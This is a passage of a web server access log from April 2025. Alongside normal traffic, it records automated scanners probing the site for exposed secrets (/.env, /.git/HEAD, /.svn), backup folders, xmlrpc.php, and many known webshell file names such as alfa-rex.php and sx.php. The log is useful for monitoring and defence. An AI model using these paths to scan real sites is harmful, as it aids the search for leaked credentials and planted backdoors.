"-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:11:18:03 -0400] "GET /wp-admin/css/colors/modern/lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:11:18:43 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:11:23:37 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:11:28:51 -0400] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:11:31:10 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:11:35:26 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:11:37:36 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:11:40:17 -0400] "GET /wp-admin/css/colors/light/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:11:59:05 -0400] "GET /wp-admin/css/colors/modern/lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:12:00:52 -0400] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:12:01:41 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:12:08:31 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:12:11:04 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 2a01:239:279:8600::1 - - [10/Apr/2025:12:37:51 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36" 2a01:239:279:8600::1 - - [10/Apr/2025:12:37:53 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36" 34.162.160.141 - - [10/Apr/2025:12:42:37 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.160.141 - - [10/Apr/2025:12:42:57 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.160.141 - - [10/Apr/2025:12:42:58 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.160.141 - - [10/Apr/2025:12:42:59 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.160.141 - - [10/Apr/2025:12:43:05 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.160.141 - - [10/Apr/2025:12:43:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.160.141 - - [10/Apr/2025:12:43:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.160.141 - - [10/Apr/2025:12:43:08 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 18.223.108.59 - - [10/Apr/2025:13:06:13 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 135.119.140.246 - - [10/Apr/2025:13:11:25 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 135.119.140.246 - - [10/Apr/2025:13:11:26 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 135.119.140.246 - - [10/Apr/2025:13:11:26 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 135.119.140.246 - - [10/Apr/2025:13:11:27 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 135.119.140.246 - - [10/Apr/2025:13:11:27 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 135.119.140.246 - - [10/Apr/2025:13:11:27 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 135.119.140.246 - - [10/Apr/2025:13:11:28 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 135.119.140.246 - - [10/Apr/2025:13:11:28 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 135.119.140.246 - - [10/Apr/2025:13:11:29 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 135.119.140.246 - - [10/Apr/2025:13:11:29 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 175.6.217.4 - - [10/Apr/2025:13:43:08 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 217.146.82.237 - - [10/Apr/2025:13:46:07 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 154.83.103.200 - - [10/Apr/2025:14:36:50 -0400] "GET /.git/HEAD HTTP/1.1" 403 1242 "-" "-" 154.83.103.200 - - [10/Apr/2025:14:36:51 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.135.232.50 - - [10/Apr/2025:14:51:31 -0400] "GET /.svn HTTP/1.1" 403 1242 "-" "python-requests/2.32.3" 66.249.79.107 - - [10/Apr/2025:15:01:56 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.96 - - [10/Apr/2025:15:01:57 -0400] "GET /images/social/Social_by_Deisgn_Pitara_01.jpg HTTP/1.1" 301 795 "-" "Googlebot-Image/1.0" 107.151.215.112 - - [10/Apr/2025:15:24:53 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 107.151.215.112 - - [10/Apr/2025:15:25:01 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 107.151.215.112 - - [10/Apr/2025:15:25:11 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 107.151.215.112 - - [10/Apr/2025:15:25:17 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 107.151.215.112 - - [10/Apr/2025:15:25:26 -0400] "GET /uploads/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 107.151.215.112 - - [10/Apr/2025:15:25:38 -0400] "GET /images/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 107.151.215.112 - - [10/Apr/2025:15:25:46 -0400] "GET /files/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 20.14.154.215 - - [10/Apr/2025:16:22:37 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [10/Apr/2025:16:22:37 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [10/Apr/2025:16:22:38 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [10/Apr/2025:16:22:38 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [10/Apr/2025:16:22:39 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [10/Apr/2025:16:22:39 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [10/Apr/2025:16:22:39 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [10/Apr/2025:16:22:40 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [10/Apr/2025:16:22:40 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [10/Apr/2025:16:22:41 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.208.23.31 - - [10/Apr/2025:16:49:05 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 45.8.17.219 - - [10/Apr/2025:16:54:09 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 13.82.177.167 - - [10/Apr/2025:17:49:25 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:26 -0400] "GET /wp-includes/xBrain.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:26 -0400] "GET /wp-content/plugins/imfrxbc/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:26 -0400] "GET /wp-content/themes/fag0z08y/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:27 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:27 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:27 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:28 -0400] "GET /wp-content/blogs.dir/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:28 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:28 -0400] "GET /wp-admin/plugins/setup HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:29 -0400] "GET /html_editor.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:29 -0400] "GET /wp-content/plugins/qvkwtfvfez/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:29 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:30 -0400] "GET /dashboard.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:30 -0400] "GET /ccx/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:30 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:31 -0400] "GET /wp/wp-admin/wp-setup.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:31 -0400] "GET /images/partner/partner/images/imgs/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:31 -0400] "GET /wp/wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:31 -0400] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:32 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:32 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:34 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:35 -0400] "GET /css/dmtixucz/golden-access/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:35 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:36 -0400] "GET /wp-content/plugins/aezvzos/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:36 -0400] "GET /sim.php/wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:37 -0400] "GET /wp-includes/assets/script-loader.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:37 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:37 -0400] "GET /excel.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:38 -0400] "GET /php_editor.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:38 -0400] "GET /wp-includes/theme-compat/border.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:38 -0400] "GET /wp-admin/plugins/init HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:39 -0400] "GET /wp-content/uploads/2016/03/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:39 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:40 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:40 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:40 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:41 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:41 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:41 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:42 -0400] "GET /wp-includes/assets/XeRzQ.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:42 -0400] "GET /alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:42 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:42 -0400] "GET /wp-content/uploads/js_composer/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:43 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:43 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:43 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:43 -0400] "GET /wp-content/themes/tk9zgum9/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:44 -0400] "GET /wp-content/uploads/2023/11/system.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:44 -0400] "GET /.well-known/setup HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:44 -0400] "GET /wp-content/plugins/seoo/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:45 -0400] "GET /wp-content/plugins/wp-mail-smtp/src/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:45 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:45 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:45 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:46 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:46 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:46 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:47 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:47 -0400] "GET /wp-content/plugins/custom/issue.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:47 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:47 -0400] "GET /wp-content/themes/krs2kdwa/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:48 -0400] "GET /wp-includes/js/tinymce/themes/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:48 -0400] "GET /wp-admin/doc.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:48 -0400] "GET /wp-admin/css/colors/blue/blkaabkj.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:49 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:49 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:49 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:50 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:50 -0400] "GET /wp-content/plugins/backup-backup/includes/438788106...php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:50 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:51 -0400] "GET /wp-admin/uploads HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:51 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:51 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:51 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:52 -0400] "GET /wp-admin/YP1cuvy6WrD.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:52 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:52 -0400] "GET /wp-content/plugins/gdrxuof/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:52 -0400] "GET /.well-known/about HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:53 -0400] "GET /wp-content/plugins/placester/views/partials/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:53 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:53 -0400] "GET /restart.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:54 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:54 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:54 -0400] "GET /down.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:55 -0400] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:55 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:55 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:56 -0400] "GET /wp-includes/SimplePie/Cache/contents.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:56 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:56 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:56 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:57 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:57 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:57 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:57 -0400] "GET /Text/Diff/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:58 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:58 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:58 -0400] "GET /filter.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:59 -0400] "GET /wp-content/plugins/WordPressCore/blkfqnikz.php HTTP/1.1" 301 